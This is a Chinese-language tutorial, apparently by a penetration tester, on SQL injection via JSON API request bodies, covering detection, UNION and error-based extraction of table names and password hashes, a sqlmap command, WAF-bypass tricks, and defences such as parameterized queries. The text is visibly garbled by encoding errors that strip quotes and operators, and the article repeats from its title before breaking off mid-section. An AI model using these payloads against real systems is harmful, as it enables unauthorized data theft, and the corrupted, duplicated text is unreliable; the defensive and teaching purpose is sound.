戰(zhàn)與防御)
1. JSON注入當(dāng)SQL注入穿上“新衣”在Web安全領(lǐng)域SQL注入SQL Injection早已是“老生常談”的漏洞類(lèi)型但凡有點(diǎn)經(jīng)驗(yàn)的開(kāi)發(fā)者或安全測(cè)試人員都能對(duì)‘ or ‘1’‘1這類(lèi)經(jīng)典Payload倒背如流。然而隨著前后端分離架構(gòu)和RESTful API的普及JSONJavaScript Object Notation格式的數(shù)據(jù)交互已成為絕對(duì)的主流。攻擊面也隨之發(fā)生了遷移——傳統(tǒng)的SQL注入攻擊開(kāi)始披上了一件名為“JSON”的新外衣。這就是我們今天要深入探討的JSON注入。簡(jiǎn)單來(lái)說(shuō)JSON注入是SQL注入的一種特殊形式。它的攻擊原理與傳統(tǒng)SQL注入并無(wú)二致核心都是“將用戶輸入的數(shù)據(jù)當(dāng)作代碼來(lái)執(zhí)行”。區(qū)別在于攻擊載荷Payload的載體和注入點(diǎn)發(fā)生了變化從傳統(tǒng)的application/x-www-form-urlencoded或multipart/form-data格式的表單參數(shù)變成了application/json格式的HTTP請(qǐng)求體。很多開(kāi)發(fā)者在處理JSON數(shù)據(jù)時(shí)安全意識(shí)還停留在“解析出參數(shù)再過(guò)濾”的舊思維或者過(guò)度依賴框架的“自動(dòng)綁定”功能從而在參數(shù)解析的源頭就留下了安全隱患。對(duì)于攻擊者而言這扇“新門(mén)”可能比舊門(mén)防守更松懈。這篇文章我將從一個(gè)實(shí)戰(zhàn)滲透測(cè)試工程師的角度帶你徹底拆解JSON注入。我們不僅會(huì)講清楚它的原理、與普通SQL注入的異同更會(huì)通過(guò)模擬真實(shí)漏洞場(chǎng)景手把手演示如何發(fā)現(xiàn)、利用和防御這種漏洞。無(wú)論你是正在學(xué)習(xí)Web安全的初學(xué)者還是想鞏固自身防御體系的開(kāi)發(fā)人員相信這篇超過(guò)5000字的深度解析都能讓你有所收獲。2. 核心原理JSON數(shù)據(jù)流中的SQL指令“走私”要理解JSON注入我們必須先厘清一個(gè)典型的數(shù)據(jù)處理流程。在現(xiàn)代Web應(yīng)用中一個(gè)基于JSON的API接口處理用戶請(qǐng)求時(shí)數(shù)據(jù)流通常經(jīng)歷以下環(huán)節(jié)客戶端構(gòu)造請(qǐng)求前端或API調(diào)用方將一個(gè)JSON對(duì)象序列化為字符串放入HTTP請(qǐng)求的Body中并設(shè)置Content-Type: application/json。服務(wù)器接收與解析后端服務(wù)如Java Spring、Python Flask、PHP Laravel、Node.js Express等的Web框架接收到請(qǐng)求調(diào)用內(nèi)置或配置的JSON解析器如Jackson、Gson、json_decode、body-parser將字符串還原為內(nèi)存中的對(duì)象或字典。參數(shù)提取與綁定框架或開(kāi)發(fā)者代碼從解析后的對(duì)象中提取出具體的參數(shù)值例如username、searchKeyword、productId等。數(shù)據(jù)庫(kù)查詢將這些參數(shù)值拼接到SQL語(yǔ)句中發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行。JSON注入的致命漏洞就潛伏在第3步到第4步之間。關(guān)鍵在于開(kāi)發(fā)者是否在參數(shù)值被拼接到SQL語(yǔ)句前對(duì)其進(jìn)行了充分的、上下文相關(guān)的安全處理2.1 漏洞產(chǎn)生的典型場(chǎng)景讓我們看一個(gè)極度危險(xiǎn)但非常常見(jiàn)的錯(cuò)誤代碼示例以PHP為例但思想通用// 錯(cuò)誤示例直接拼接JSON解析后的參數(shù) $input json_decode(file_get_contents(php://input), true); // 解析JSON請(qǐng)求體 $username $input[username]; $password $input[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);在這段代碼中開(kāi)發(fā)者直接從$_POST超全局?jǐn)?shù)組轉(zhuǎn)向了從json_decode()的結(jié)果中取參數(shù)。他們可能認(rèn)為“我已經(jīng)用了json_decode這是標(biāo)準(zhǔn)解析沒(méi)問(wèn)題?！?或者“框架的自動(dòng)綁定如Spring的RequestBody會(huì)幫我處理好類(lèi)型?！?這種想法是致命的。json_decode只負(fù)責(zé)語(yǔ)法解析將字符串{username: admin, password: 123456}變成關(guān)聯(lián)數(shù)組它絕不負(fù)責(zé)安全過(guò)濾。假設(shè)攻擊者發(fā)送以下JSON請(qǐng)求體{ username: admin, password: OR 11 }經(jīng)過(guò)json_decode后$password的值就是字符串‘ OR ‘1’‘1。當(dāng)這個(gè)值被直接拼接到SQL語(yǔ)句中后最終的查詢語(yǔ)句就變成了SELECT * FROM users WHERE username admin AND password OR 11由于‘1’‘1‘恒為真這條語(yǔ)句將繞過(guò)密碼驗(yàn)證返回用戶表中的所有數(shù)據(jù)或第一條數(shù)據(jù)導(dǎo)致認(rèn)證被繞過(guò)。這就是最經(jīng)典的JSON注入。2.2 與普通SQL注入的異同點(diǎn)特性傳統(tǒng)SQL注入JSON注入攻擊載荷載體URL查詢字符串、POST表單字段、HTTP頭如CookieHTTP請(qǐng)求體Body中的JSON字符串Content-Typeapplication/x-www-form-urlencoded,multipart/form-dataapplication/json服務(wù)器處理通常由Web服務(wù)器或框架自動(dòng)解析到$_GET、$_POST等超全局變量需要顯式調(diào)用JSON解析器如json_decode或依賴框架自動(dòng)綁定WAF/IDS檢測(cè)難度相對(duì)容易規(guī)則成熟對(duì)URL和表單參數(shù)掃描深入可能更難早期WAF可能不深入掃描JSON Body或解析JSON格式有誤開(kāi)發(fā)者盲點(diǎn)警惕性較高普遍知道需要過(guò)濾$_GET和$_POST警惕性較低容易認(rèn)為“JSON是結(jié)構(gòu)化數(shù)據(jù)更安全”或過(guò)度信任框架漏洞本質(zhì)完全相同未對(duì)用戶輸入進(jìn)行正確的過(guò)濾、轉(zhuǎn)義或參數(shù)化導(dǎo)致輸入被解釋為SQL代碼。關(guān)鍵認(rèn)知JSON注入不是一種新的漏洞類(lèi)型而是SQL注入在新時(shí)代、新數(shù)據(jù)格式下的“新皮膚”。防御的核心思想沒(méi)有絲毫改變——永遠(yuǎn)不要信任用戶輸入。3. 實(shí)戰(zhàn)挖掘如何發(fā)現(xiàn)并利用JSON注入點(diǎn)知道了原理我們?cè)撊绾卧趯?shí)戰(zhàn)中尋找這樣的漏洞呢這個(gè)過(guò)程可以系統(tǒng)性地分為信息收集、漏洞探測(cè)、漏洞利用和權(quán)限提升四個(gè)階段。3.1 信息收集與目標(biāo)識(shí)別接口枚舉使用爬蟲(chóng)工具如Burp Suite的爬蟲(chóng)、OWASP ZAP或主動(dòng)掃描收集應(yīng)用的所有API端點(diǎn)。重點(diǎn)關(guān)注那些使用POST、PUT、PATCH方法且Content-Type為application/json的接口。功能點(diǎn)分析哪些功能最可能拼接SQL語(yǔ)句登錄/認(rèn)證/api/login,/auth/token搜索/查詢/api/search,/query/data, 帶過(guò)濾條件的列表查詢用戶資料更新/api/user/update訂單/商品操作/api/order/create,/product/list參數(shù)推測(cè)通過(guò)正常業(yè)務(wù)操作抓取請(qǐng)求包分析JSON結(jié)構(gòu)。常見(jiàn)的注入?yún)?shù)名包括id,username,keyword,name,title,orderBy,sort等。3.2 漏洞探測(cè)與指紋識(shí)別探測(cè)的核心是向JSON參數(shù)中插入各種SQL注入測(cè)試Payload并觀察應(yīng)用響應(yīng)。這里有幾個(gè)關(guān)鍵技巧使用工具Burp Suite的Intruder或Repeater模塊是絕佳選擇。將請(qǐng)求發(fā)送到Repeater手動(dòng)修改JSON值進(jìn)行測(cè)試。測(cè)試Payload基礎(chǔ)探測(cè)在參數(shù)值后添加單引號(hào)‘、雙引號(hào)“、反斜杠\觀察是否出現(xiàn)數(shù)據(jù)庫(kù)錯(cuò)誤如MySQL、PostgreSQL、SQL Server的特定錯(cuò)誤信息。這是判斷是否存在注入點(diǎn)的最快方法。請(qǐng)求{id: 1‘}觀察響應(yīng)是否包含“You have an error in your SQL syntax...”或程序返回了異常的500狀態(tài)碼。邏輯測(cè)試使用AND ‘1’‘1和AND ‘1’‘2測(cè)試布爾邏輯。請(qǐng)求1{search: apple‘ AND ‘1’‘1}請(qǐng)求2{search: apple‘ AND ‘1’‘2}觀察兩個(gè)請(qǐng)求返回的結(jié)果集是否不同。如果不同則存在布爾盲注的可能。時(shí)間盲注測(cè)試對(duì)于無(wú)錯(cuò)誤回顯的情況使用sleep()或benchmark()函數(shù)。請(qǐng)求{id: 1‘ AND SLEEP(5)-- }觀察響應(yīng)時(shí)間是否明顯延遲了大約5秒。實(shí)操心得在修改JSON時(shí)務(wù)必保證修改后的JSON語(yǔ)法仍然是正確的。例如如果原值是字符串你注入1‘ AND ‘1’‘1后整體還是合法的JSON字符串。如果原值是數(shù)字你注入1 AND 11可能破壞JSON格式因?yàn)? AND 11不是合法數(shù)字此時(shí)需要將參數(shù)值類(lèi)型從數(shù)字改為字符串即“1 AND 11”。很多新手在這里會(huì)踩坑。3.3 漏洞利用從注入到數(shù)據(jù)獲取一旦確認(rèn)注入點(diǎn)利用方式就和傳統(tǒng)SQL注入一模一樣了。我們以基于錯(cuò)誤的注入為例演示如何獲取數(shù)據(jù)庫(kù)信息。場(chǎng)景一個(gè)用戶查詢接口/api/user/profile接受JSON{“userId”: 123}。測(cè)試發(fā)現(xiàn)userId參數(shù)存在數(shù)字型注入。判斷列數(shù)ORDER BY發(fā)送{“userId”: “1 ORDER BY 5-- “}注意將數(shù)字改為字符串如果返回正常ORDER BY 6--時(shí)出錯(cuò)則說(shuō)明有5列。聯(lián)合查詢獲取數(shù)據(jù)UNION SELECT假設(shè)有5列我們想讓第2、3列顯示在頁(yè)面上。發(fā)送{“userId”: “-1 UNION SELECT 1, database(), user(), version(), 5-- “}觀察響應(yīng)可能直接顯示出當(dāng)前數(shù)據(jù)庫(kù)名、用戶和版本信息。獲取表名、列名利用數(shù)據(jù)庫(kù)的元數(shù)據(jù)表。以MySQL為例{“userId”: “-1 UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1-- “}通過(guò)遍歷LIMIT參數(shù)可以爆出所有表名如users,admins,passwords。拖取數(shù)據(jù)假設(shè)我們找到了users表猜測(cè)有username和password列。{“userId”: “-1 UNION SELECT 1, username, password, 4, 5 FROM users LIMIT 0,1-- “}注意事項(xiàng)在JSON中進(jìn)行聯(lián)合查詢注入時(shí)要特別注意數(shù)據(jù)類(lèi)型。如果后端代碼期望userId是整數(shù)而你用UNION SELECT返回了一個(gè)字符串在對(duì)應(yīng)位置可能會(huì)導(dǎo)致類(lèi)型轉(zhuǎn)換錯(cuò)誤或查詢失敗。此時(shí)需要嘗試NULL或轉(zhuǎn)換函數(shù)如{“userId”: “-1 UNION SELECT 1, CONCAT(username, ‘:’, password), 3, 4, 5 FROM users-- “}并將注入點(diǎn)參數(shù)改為字符串類(lèi)型。3.4 自動(dòng)化工具與繞過(guò)技巧sqlmap這款神器同樣支持JSON注入。你需要使用--data參數(shù)指定JSON數(shù)據(jù)并用*標(biāo)記注入點(diǎn)。sqlmap -u http://target.com/api/user/profile --data{userId:*} --headersContent-Type: application/json --batchsqlmap會(huì)自動(dòng)處理JSON格式和注入點(diǎn)標(biāo)記進(jìn)行全自動(dòng)探測(cè)和利用。WAF繞過(guò)針對(duì)JSON格式一些特殊的繞過(guò)技巧可能生效JSON語(yǔ)法變異插入多余的逗號(hào)、換行符、制表符。某些蹩腳的WAF解析JSON的規(guī)則可能比應(yīng)用服務(wù)器更嚴(yán)格。{id:1,/*注釋*/username:admin-- }Unicode轉(zhuǎn)義將關(guān)鍵字符進(jìn)行Unicode轉(zhuǎn)義。例如單引號(hào)‘可以寫(xiě)成\u0027。這取決于后端在JSON解析后是否對(duì)字符串進(jìn)行解碼。{username:admin\u0027 OR \u00271\u0027\u00271}參數(shù)污染在JSON中提交同一個(gè)鍵的多個(gè)值雖然不符合標(biāo)準(zhǔn)如{id:1, id: 1‘ AND SLEEP(5)”}。不同語(yǔ)言的解析庫(kù)處理方式不同可能造成WAF和應(yīng)用解析結(jié)果不一致。4. 防御之道從源頭杜絕JSON注入防御JSON注入必須采取縱深防御策略在數(shù)據(jù)流的每一個(gè)環(huán)節(jié)都設(shè)置關(guān)卡。4.1 第一道防線使用參數(shù)化查詢預(yù)編譯語(yǔ)句這是唯一從根本上解決SQL注入的方法。它的原理是將SQL代碼與數(shù)據(jù)分離。你提前定義好帶有占位符如?、name的SQL語(yǔ)句模板然后將用戶輸入的數(shù)據(jù)作為參數(shù)單獨(dú)傳遞給數(shù)據(jù)庫(kù)驅(qū)動(dòng)。數(shù)據(jù)庫(kù)驅(qū)動(dòng)會(huì)確保參數(shù)值只被當(dāng)作數(shù)據(jù)來(lái)處理絕不會(huì)被解釋為SQL代碼。各語(yǔ)言示例PHP (PDO):$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([ :username $input[username], // 直接使用無(wú)需轉(zhuǎn)義 :password $input[password] ]); $user $stmt-fetch();Python (sqlite3 / MySQLdb):cursor.execute(SELECT * FROM users WHERE username %s AND password %s, (username, password))Java (JDBC):PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE username ? AND password ?); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs stmt.executeQuery();Node.js (mysql2):connection.execute(SELECT * FROM users WHERE username ? AND password ?, [username, password], (err, results) { ... });核心要點(diǎn)無(wú)論你的參數(shù)來(lái)自$_POST、$_GET還是JSON解析后的對(duì)象都必須使用參數(shù)化查詢。這是鐵律。4.2 第二道防線使用安全的ORM框架對(duì)象關(guān)系映射ORM框架如Java的MyBatis需配合#{}、Hibernate Python的SQLAlchemy PHP的Eloquent Node.js的Sequelize、TypeORM等在正確使用時(shí)內(nèi)部也是基于參數(shù)化查詢。關(guān)鍵區(qū)別安全MyBatis的#{}語(yǔ)法是參數(shù)化查詢而${}是字符串拼接存在注入風(fēng)險(xiǎn)。!-- 安全 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username #{username} /select !-- 危險(xiǎn) -- select idfindUser resultTypeUser SELECT * FROM user WHERE username ${username} /select切勿在ORM中拼接字符串即使使用ORM也絕對(duì)不要用字符串格式化或拼接的方式來(lái)構(gòu)造查詢條件。4.3 第三道防線嚴(yán)格的輸入驗(yàn)證與類(lèi)型轉(zhuǎn)換在將數(shù)據(jù)送入SQL之前進(jìn)行嚴(yán)格的業(yè)務(wù)邏輯驗(yàn)證。類(lèi)型強(qiáng)制轉(zhuǎn)換如果參數(shù)應(yīng)該是數(shù)字在代碼中盡早將其轉(zhuǎn)換為整型。$userId (int) $input[userId]; // 非數(shù)字會(huì)變成0或1 // 或者進(jìn)行校驗(yàn) if (!is_numeric($input[userId])) { throw new InvalidArgumentException(Invalid user ID); }白名單驗(yàn)證對(duì)于像排序字段orderBy、狀態(tài)碼這類(lèi)有限集合的參數(shù)使用白名單。allowed_order_fields {id, name, created_at} order_by request.json.get(orderBy, id) if order_by not in allowed_order_fields: order_by id長(zhǎng)度與格式限制對(duì)用戶名、郵箱、手機(jī)號(hào)等設(shè)置合理的長(zhǎng)度和格式正則校驗(yàn)。4.4 第四道防線最小權(quán)限原則與數(shù)據(jù)庫(kù)加固應(yīng)用數(shù)據(jù)庫(kù)賬戶為Web應(yīng)用配置的數(shù)據(jù)庫(kù)連接賬戶只授予其完成業(yè)務(wù)所需的最小權(quán)限通常是SELECT,INSERT,UPDATE,DELETE堅(jiān)決不要授予DROP,CREATE,ALTER,FILE等高危權(quán)限。存儲(chǔ)過(guò)程對(duì)于復(fù)雜查詢可以考慮使用存儲(chǔ)過(guò)程但同樣要注意在存儲(chǔ)過(guò)程內(nèi)部避免動(dòng)態(tài)SQL拼接。定期更新與漏洞掃描保持?jǐn)?shù)據(jù)庫(kù)、Web框架、JSON解析庫(kù)等所有組件的更新。使用DAST動(dòng)態(tài)應(yīng)用安全測(cè)試工具定期對(duì)API接口進(jìn)行安全掃描。4.5 Web應(yīng)用防火墻WAF的定位WAF可以作為最后一道檢測(cè)和緩解的防線但絕不能作為主要的防御手段。一個(gè)配置得當(dāng)?shù)腤AF可以攔截大量已知的、自動(dòng)化的攻擊Payload。但對(duì)于精心構(gòu)造的、針對(duì)特定業(yè)務(wù)邏輯的注入WAF很可能被繞過(guò)。安全的核心永遠(yuǎn)是“安全編碼”WAF只是“安全帶”不是“安全駕駛技術(shù)”。5. 案例復(fù)盤(pán)一個(gè)真實(shí)的JSON注入漏洞挖掘記錄去年在一次授權(quán)滲透測(cè)試中我遇到了一個(gè)非常典型的JSON注入案例。目標(biāo)是一個(gè)新興的SaaS平臺(tái)管理后臺(tái)其API全部采用JSON通信。初步探測(cè)通過(guò)Burp抓包我發(fā)現(xiàn)一個(gè)查詢?nèi)罩镜慕涌赑OST /api/admin/queryLog其JSON結(jié)構(gòu)為{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin”}, “page”: 1}。這看起來(lái)是一個(gè)通用的查詢構(gòu)建器。漏洞發(fā)現(xiàn)我嘗試修改value值為admin‘請(qǐng)求后返回了詳細(xì)的MySQL錯(cuò)誤信息直接暴露了表結(jié)構(gòu)的一部分。確認(rèn)存在基于錯(cuò)誤的注入。利用過(guò)程由于是POST請(qǐng)求我直接在Burp Repeater中操作。我首先嘗試了聯(lián)合查詢但發(fā)現(xiàn)頁(yè)面只返回了data字段其他字段不顯示。于是轉(zhuǎn)向基于錯(cuò)誤的注入利用extractvalue()函數(shù)進(jìn)行報(bào)錯(cuò)回顯。Payload:{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin‘ AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) AND ‘1’‘1”}}響應(yīng)中包含了XPATH syntax error: ‘~saas_platform_prod~‘成功獲取數(shù)據(jù)庫(kù)名。數(shù)據(jù)獲取隨后我通過(guò)同樣的報(bào)錯(cuò)注入逐步獲取了所有表名、列名并最終拖出了管理員用戶表的哈希密碼。整個(gè)過(guò)程中后端沒(méi)有對(duì)field和value參數(shù)做任何過(guò)濾直接拼接到了WHERE子句中。漏洞根源與開(kāi)發(fā)團(tuán)隊(duì)溝通后得知他們?yōu)榱藢?shí)現(xiàn)靈活的動(dòng)態(tài)查詢自己編寫(xiě)了一個(gè)SQL構(gòu)建器。這個(gè)構(gòu)建器雖然對(duì)field做了白名單映射防止查詢非預(yù)期字段但對(duì)value的值完全信任直接使用字符串拼接導(dǎo)致了注入漏洞。修復(fù)建議我向他們提供了三個(gè)方案1. 重構(gòu)查詢構(gòu)建器對(duì)value也采用參數(shù)化查詢2. 放棄部分靈活性將operator和field的組合固定為有限的幾種查詢模式3. 使用更安全的、經(jīng)過(guò)審計(jì)的查詢構(gòu)建庫(kù)如Java的QueryDSL。他們最終選擇了方案1和3的結(jié)合。6. 針對(duì)特定框架的注意事項(xiàng)不同的Web框架在處理JSON和數(shù)據(jù)庫(kù)交互時(shí)有各自的特點(diǎn)和坑點(diǎn)。Spring Boot (Java)RequestBody自動(dòng)綁定非常方便但綁定后的對(duì)象屬性如果直接用于拼接SQL同樣危險(xiǎn)。務(wù)必使用JPA的Query配合參數(shù)索引?1或命名參數(shù):name或使用JdbcTemplate的NamedParameterJdbcTemplate。警惕SpEL表達(dá)式注入它與SQL注入不同但同樣危險(xiǎn)。Express (Node.js)使用body-parser或Express內(nèi)置的express.json()中間件后數(shù)據(jù)在req.body中。避免使用字符串模板或操作符拼接SQL。堅(jiān)持使用mysql2的execute或query的?占位符或ORM的參數(shù)化方法。Laravel (PHP)Eloquent ORM和查詢構(gòu)造器默認(rèn)是參數(shù)化的非常安全。但是如果你使用了DB::raw()或whereRaw()等方法就必須手動(dòng)處理參數(shù)綁定。// 危險(xiǎn) $users DB::table(users)-whereRaw(username . $request-input(name) . )-get(); // 安全 $users DB::table(users)-whereRaw(username ?, [$request-input(name)])-get();Django (Python)Django的ORM是高度安全的幾乎消除了SQL注入的可能。唯一的風(fēng)險(xiǎn)點(diǎn)是使用extra()或RawSQL()時(shí)需要格外小心確保用戶輸入不被直接放入SQL字符串。JSON注入的威脅真實(shí)而普遍它利用了開(kāi)發(fā)者在新技術(shù)棧下的思維滯后。防御的關(guān)鍵不在于識(shí)別數(shù)據(jù)是來(lái)自表單還是JSON而在于時(shí)刻銘記“數(shù)據(jù)即代碼”的威脅模型并在任何數(shù)據(jù)與SQL指令交匯的地方堅(jiān)定不移地使用參數(shù)化查詢。作為開(kāi)發(fā)者請(qǐng)?jiān)诿恳淮尉帉?xiě)數(shù)據(jù)庫(kù)查詢代碼時(shí)都條件反射般地思考我用的方法是拼接字符串還是傳遞參數(shù)作為安全人員在測(cè)試現(xiàn)代Web應(yīng)用時(shí)請(qǐng)務(wù)必把你的測(cè)試Payload塞進(jìn)那個(gè)看似規(guī)整的JSON Body里去看看。 JSON注入漏洞深度解析：原理、實(shí)戰(zhàn)與防御
1. JSON注入當(dāng)SQL注入穿上“新衣”在Web安全領(lǐng)域SQL注入SQL Injection早已是“老生常談”的漏洞類(lèi)型但凡有點(diǎn)經(jīng)驗(yàn)的開(kāi)發(fā)者或安全測(cè)試人員都能對(duì)‘ or ‘1’‘1這類(lèi)經(jīng)典Payload倒背如流。然而隨著前后端分離架構(gòu)和RESTful API的普及JSONJavaScript Object Notation格式的數(shù)據(jù)交互已成為絕對(duì)的主流。攻擊面也隨之發(fā)生了遷移——傳統(tǒng)的SQL注入攻擊開(kāi)始披上了一件名為“JSON”的新外衣。這就是我們今天要深入探討的JSON注入。簡(jiǎn)單來(lái)說(shuō)JSON注入是SQL注入的一種特殊形式。它的攻擊原理與傳統(tǒng)SQL注入并無(wú)二致核心都是“將用戶輸入的數(shù)據(jù)當(dāng)作代碼來(lái)執(zhí)行”。區(qū)別在于攻擊載荷Payload的載體和注入點(diǎn)發(fā)生了變化從傳統(tǒng)的application/x-www-form-urlencoded或multipart/form-data格式的表單參數(shù)變成了application/json格式的HTTP請(qǐng)求體。很多開(kāi)發(fā)者在處理JSON數(shù)據(jù)時(shí)安全意識(shí)還停留在“解析出參數(shù)再過(guò)濾”的舊思維或者過(guò)度依賴框架的“自動(dòng)綁定”功能從而在參數(shù)解析的源頭就留下了安全隱患。對(duì)于攻擊者而言這扇“新門(mén)”可能比舊門(mén)防守更松懈。這篇文章我將從一個(gè)實(shí)戰(zhàn)滲透測(cè)試工程師的角度帶你徹底拆解JSON注入。我們不僅會(huì)講清楚它的原理、與普通SQL注入的異同更會(huì)通過(guò)模擬真實(shí)漏洞場(chǎng)景手把手演示如何發(fā)現(xiàn)、利用和防御這種漏洞。無(wú)論你是正在學(xué)習(xí)Web安全的初學(xué)者還是想鞏固自身防御體系的開(kāi)發(fā)人員相信這篇超過(guò)5000字的深度解析都能讓你有所收獲。2. 核心原理JSON數(shù)據(jù)流中的SQL指令“走私”要理解JSON注入我們必須先厘清一個(gè)典型的數(shù)據(jù)處理流程。在現(xiàn)代Web應(yīng)用中一個(gè)基于JSON的API接口處理用戶請(qǐng)求時(shí)數(shù)據(jù)流通常經(jīng)歷以下環(huán)節(jié)客戶端構(gòu)造請(qǐng)求前端或API調(diào)用方將一個(gè)JSON對(duì)象序列化為字符串放入HTTP請(qǐng)求的Body中并設(shè)置Content-Type: application/json。服務(wù)器接收與解析后端服務(wù)如Java Spring、Python Flask、PHP Laravel、Node.js Express等的Web框架接收到請(qǐng)求調(diào)用內(nèi)置或配置的JSON解析器如Jackson、Gson、json_decode、body-parser將字符串還原為內(nèi)存中的對(duì)象或字典。參數(shù)提取與綁定框架或開(kāi)發(fā)者代碼從解析后的對(duì)象中提取出具體的參數(shù)值例如username、searchKeyword、productId等。數(shù)據(jù)庫(kù)查詢將這些參數(shù)值拼接到SQL語(yǔ)句中發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行。JSON注入的致命漏洞就潛伏在第3步到第4步之間。關(guān)鍵在于開(kāi)發(fā)者是否在參數(shù)值被拼接到SQL語(yǔ)句前對(duì)其進(jìn)行了充分的、上下文相關(guān)的安全處理2.1 漏洞產(chǎn)生的典型場(chǎng)景讓我們看一個(gè)極度危險(xiǎn)但非常常見(jiàn)的錯(cuò)誤代碼示例以PHP為例但思想通用// 錯(cuò)誤示例直接拼接JSON解析后的參數(shù) $input json_decode(file_get_contents(php://input), true); // 解析JSON請(qǐng)求體 $username $input[username]; $password $input[password]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);在這段代碼中開(kāi)發(fā)者直接從$_POST超全局?jǐn)?shù)組轉(zhuǎn)向了從json_decode()的結(jié)果中取參數(shù)。他們可能認(rèn)為“我已經(jīng)用了json_decode這是標(biāo)準(zhǔn)解析沒(méi)問(wèn)題?！?或者“框架的自動(dòng)綁定如Spring的RequestBody會(huì)幫我處理好類(lèi)型?！?這種想法是致命的。json_decode只負(fù)責(zé)語(yǔ)法解析將字符串{username: admin, password: 123456}變成關(guān)聯(lián)數(shù)組它絕不負(fù)責(zé)安全過(guò)濾。假設(shè)攻擊者發(fā)送以下JSON請(qǐng)求體{ username: admin, password: OR 11 }經(jīng)過(guò)json_decode后$password的值就是字符串‘ OR ‘1’‘1。當(dāng)這個(gè)值被直接拼接到SQL語(yǔ)句中后最終的查詢語(yǔ)句就變成了SELECT * FROM users WHERE username admin AND password OR 11由于‘1’‘1‘恒為真這條語(yǔ)句將繞過(guò)密碼驗(yàn)證返回用戶表中的所有數(shù)據(jù)或第一條數(shù)據(jù)導(dǎo)致認(rèn)證被繞過(guò)。這就是最經(jīng)典的JSON注入。2.2 與普通SQL注入的異同點(diǎn)特性傳統(tǒng)SQL注入JSON注入攻擊載荷載體URL查詢字符串、POST表單字段、HTTP頭如CookieHTTP請(qǐng)求體Body中的JSON字符串Content-Typeapplication/x-www-form-urlencoded,multipart/form-dataapplication/json服務(wù)器處理通常由Web服務(wù)器或框架自動(dòng)解析到$_GET、$_POST等超全局變量需要顯式調(diào)用JSON解析器如json_decode或依賴框架自動(dòng)綁定WAF/IDS檢測(cè)難度相對(duì)容易規(guī)則成熟對(duì)URL和表單參數(shù)掃描深入可能更難早期WAF可能不深入掃描JSON Body或解析JSON格式有誤開(kāi)發(fā)者盲點(diǎn)警惕性較高普遍知道需要過(guò)濾$_GET和$_POST警惕性較低容易認(rèn)為“JSON是結(jié)構(gòu)化數(shù)據(jù)更安全”或過(guò)度信任框架漏洞本質(zhì)完全相同未對(duì)用戶輸入進(jìn)行正確的過(guò)濾、轉(zhuǎn)義或參數(shù)化導(dǎo)致輸入被解釋為SQL代碼。關(guān)鍵認(rèn)知JSON注入不是一種新的漏洞類(lèi)型而是SQL注入在新時(shí)代、新數(shù)據(jù)格式下的“新皮膚”。防御的核心思想沒(méi)有絲毫改變——永遠(yuǎn)不要信任用戶輸入。3. 實(shí)戰(zhàn)挖掘如何發(fā)現(xiàn)并利用JSON注入點(diǎn)知道了原理我們?cè)撊绾卧趯?shí)戰(zhàn)中尋找這樣的漏洞呢這個(gè)過(guò)程可以系統(tǒng)性地分為信息收集、漏洞探測(cè)、漏洞利用和權(quán)限提升四個(gè)階段。3.1 信息收集與目標(biāo)識(shí)別接口枚舉使用爬蟲(chóng)工具如Burp Suite的爬蟲(chóng)、OWASP ZAP或主動(dòng)掃描收集應(yīng)用的所有API端點(diǎn)。重點(diǎn)關(guān)注那些使用POST、PUT、PATCH方法且Content-Type為application/json的接口。功能點(diǎn)分析哪些功能最可能拼接SQL語(yǔ)句登錄/認(rèn)證/api/login,/auth/token搜索/查詢/api/search,/query/data, 帶過(guò)濾條件的列表查詢用戶資料更新/api/user/update訂單/商品操作/api/order/create,/product/list參數(shù)推測(cè)通過(guò)正常業(yè)務(wù)操作抓取請(qǐng)求包分析JSON結(jié)構(gòu)。常見(jiàn)的注入?yún)?shù)名包括id,username,keyword,name,title,orderBy,sort等。3.2 漏洞探測(cè)與指紋識(shí)別探測(cè)的核心是向JSON參數(shù)中插入各種SQL注入測(cè)試Payload并觀察應(yīng)用響應(yīng)。這里有幾個(gè)關(guān)鍵技巧使用工具Burp Suite的Intruder或Repeater模塊是絕佳選擇。將請(qǐng)求發(fā)送到Repeater手動(dòng)修改JSON值進(jìn)行測(cè)試。測(cè)試Payload基礎(chǔ)探測(cè)在參數(shù)值后添加單引號(hào)‘、雙引號(hào)“、反斜杠\觀察是否出現(xiàn)數(shù)據(jù)庫(kù)錯(cuò)誤如MySQL、PostgreSQL、SQL Server的特定錯(cuò)誤信息。這是判斷是否存在注入點(diǎn)的最快方法。請(qǐng)求{id: 1‘}觀察響應(yīng)是否包含“You have an error in your SQL syntax...”或程序返回了異常的500狀態(tài)碼。邏輯測(cè)試使用AND ‘1’‘1和AND ‘1’‘2測(cè)試布爾邏輯。請(qǐng)求1{search: apple‘ AND ‘1’‘1}請(qǐng)求2{search: apple‘ AND ‘1’‘2}觀察兩個(gè)請(qǐng)求返回的結(jié)果集是否不同。如果不同則存在布爾盲注的可能。時(shí)間盲注測(cè)試對(duì)于無(wú)錯(cuò)誤回顯的情況使用sleep()或benchmark()函數(shù)。請(qǐng)求{id: 1‘ AND SLEEP(5)-- }觀察響應(yīng)時(shí)間是否明顯延遲了大約5秒。實(shí)操心得在修改JSON時(shí)務(wù)必保證修改后的JSON語(yǔ)法仍然是正確的。例如如果原值是字符串你注入1‘ AND ‘1’‘1后整體還是合法的JSON字符串。如果原值是數(shù)字你注入1 AND 11可能破壞JSON格式因?yàn)? AND 11不是合法數(shù)字此時(shí)需要將參數(shù)值類(lèi)型從數(shù)字改為字符串即“1 AND 11”。很多新手在這里會(huì)踩坑。3.3 漏洞利用從注入到數(shù)據(jù)獲取一旦確認(rèn)注入點(diǎn)利用方式就和傳統(tǒng)SQL注入一模一樣了。我們以基于錯(cuò)誤的注入為例演示如何獲取數(shù)據(jù)庫(kù)信息。場(chǎng)景一個(gè)用戶查詢接口/api/user/profile接受JSON{“userId”: 123}。測(cè)試發(fā)現(xiàn)userId參數(shù)存在數(shù)字型注入。判斷列數(shù)ORDER 